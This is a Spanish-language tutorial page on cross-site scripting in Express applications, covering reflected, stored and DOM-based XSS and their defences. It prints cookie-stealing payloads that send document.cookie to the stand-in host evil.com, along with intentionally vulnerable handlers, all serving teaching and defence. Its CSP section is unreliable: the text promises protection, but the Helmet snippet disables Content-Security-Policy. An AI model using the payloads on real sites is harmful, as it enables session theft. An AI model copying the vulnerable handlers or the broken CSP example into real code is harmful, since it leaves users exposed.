Saltar al contenido principal

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) es una vulnerabilidad que permite a un atacante inyectar código JavaScript malicioso en páginas web que serán visualizadas por otros usuarios.

Cuando el navegador de la víctima carga esa página, ejecuta el script sin saber que es malicioso, ya que aparentemente proviene de un sitio de confianza.

¿Qué puede hacer un atacante con XSS?

  • Robar cookies de sesión y suplantar la identidad del usuario.
  • Redirigir al usuario a sitios fraudulentos (phishing).
  • Registrar pulsaciones de teclado (keylogging).
  • Modificar el contenido de la página visualmente.
  • Realizar acciones en nombre del usuario sin su consentimiento.

Tipos de XSS

XSS Reflejado (Reflected XSS)

El script malicioso forma parte de la petición HTTP (normalmente en la URL) y el servidor lo devuelve directamente en la respuesta sin almacenarlo.

Flujo del ataque:

  1. El atacante crea una URL maliciosa y engaña a la víctima para que haga clic.
  2. La víctima hace clic: el navegador envía la petición al servidor.
  3. El servidor refleja el script en la respuesta HTML.
  4. El navegador de la víctima ejecuta el script.

Ejemplo vulnerable (Express):

// El servidor devuelve directamente el parámetro de búsqueda sin sanitizar
app.get('/buscar', (req, res) => {
const termino = req.query.q;
res.send(`<h1>Resultados para: ${termino}</h1>`);
});

URL maliciosa que un atacante podría enviar a una víctima:

https://miweb.com/buscar?q=<script>document.location='https://evil.com/robar?c='+document.cookie</script>

XSS Almacenado (Stored XSS)

El script malicioso se guarda en la base de datos del servidor (comentarios, perfiles, mensajes…) y se sirve a todos los usuarios que visiten esa página. Es el tipo más peligroso.

Ejemplo vulnerable:

// Guardar comentario sin sanitizar
app.post('/comentarios', async (req, res) => {
const { texto } = req.body;
await db.query('INSERT INTO comentarios (texto) VALUES (?)', [texto]);
res.json({ ok: true });
});

// Mostrar comentarios sin escapar
app.get('/comentarios', async (req, res) => {
const comentarios = await db.query('SELECT texto FROM comentarios');
const html = comentarios.map(c => `<p>${c.texto}</p>`).join('');
res.send(html); // ❌ El texto se inyecta directamente en el HTML
});

Un atacante podría enviar este comentario:

<script>fetch('https://evil.com/robar?c=' + document.cookie)</script>

Y todos los usuarios que carguen la página ejecutarán ese script.

XSS Basado en DOM (DOM-based XSS)

La vulnerabilidad reside en el código JavaScript del lado del cliente, que lee datos de fuentes no confiables (como location.hash o document.URL) y los escribe directamente en el DOM.

// ❌ Vulnerable: escribe en el DOM sin sanitizar
document.getElementById('saludo').innerHTML = location.hash.slice(1);

URL de ataque:

https://miweb.com/perfil#<img src=x onerror=alert(1)>

Cómo prevenir XSS

Escapar la salida (Output Encoding)

Antes de insertar cualquier dato dinámico en HTML, escapar los caracteres especiales:

function escaparHTML(str) {
return String(str)
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#039;');
}

// En el ejemplo anterior:
res.send(`<h1>Resultados para: ${escaparHTML(termino)}</h1>`);

La mayoría de motores de plantillas (Handlebars, EJS, Pug) escapan automáticamente por defecto. Se debe tener especial cuidado con las directivas que omiten el escape ({{{ }}} en Handlebars, != en Pug).

Sanitizar el HTML

Si la aplicación necesita aceptar HTML del usuario (como, por ejemplo, un editor de texto enriquecido), se debe utilizar una librería de sanitización como DOMPurify que elimine etiquetas y atributos peligrosos:

npm install dompurify jsdom
import { JSDOM } from 'jsdom';
import DOMPurify from 'dompurify';

const window = new JSDOM('').window;
const purify = DOMPurify(window);
const clean = purify.sanitize('<b>hello there</b>');

Content Security Policy (CSP)

La cabecera HTTP Content-Security-Policy le indica al navegador qué fuentes de scripts son de confianza, impidiendo la ejecución de scripts no autorizados incluso si se inyectan.

Ejemplo de Helmet en Express:

import helmet from "helmet";

const app = express();

// Disable the Content-Security-Policy and X-Download-Options headers
app.use(
helmet({
contentSecurityPolicy: false,
xDownloadOptions: false,
}),
);

Marcar cookies como HttpOnly

Si una cookie tiene el atributo HttpOnly, JavaScript no puede leerla, lo que protege frente al robo de sesiones vía XSS:

res.cookie('sessionId', token, {
httpOnly: true, // No accesible desde JS
secure: true, // Solo por HTTPS
sameSite: 'Strict'
});

Validar entradas en el servidor

Rechazar cualquier entrada que no tenga el formato esperado antes de procesarla.

Podemos utilizar la libería express-validator:

import validator from 'express-validator'
const { body, validationResult } = validator

app.post('/comentarios', [
body('texto').isString().trim().isLength({ max: 500 }).escape()
], (req, res) => {
const errores = validationResult(req);
if (!errores.isEmpty()) return res.status(400).json({ errores: errores.array() });
// ...
});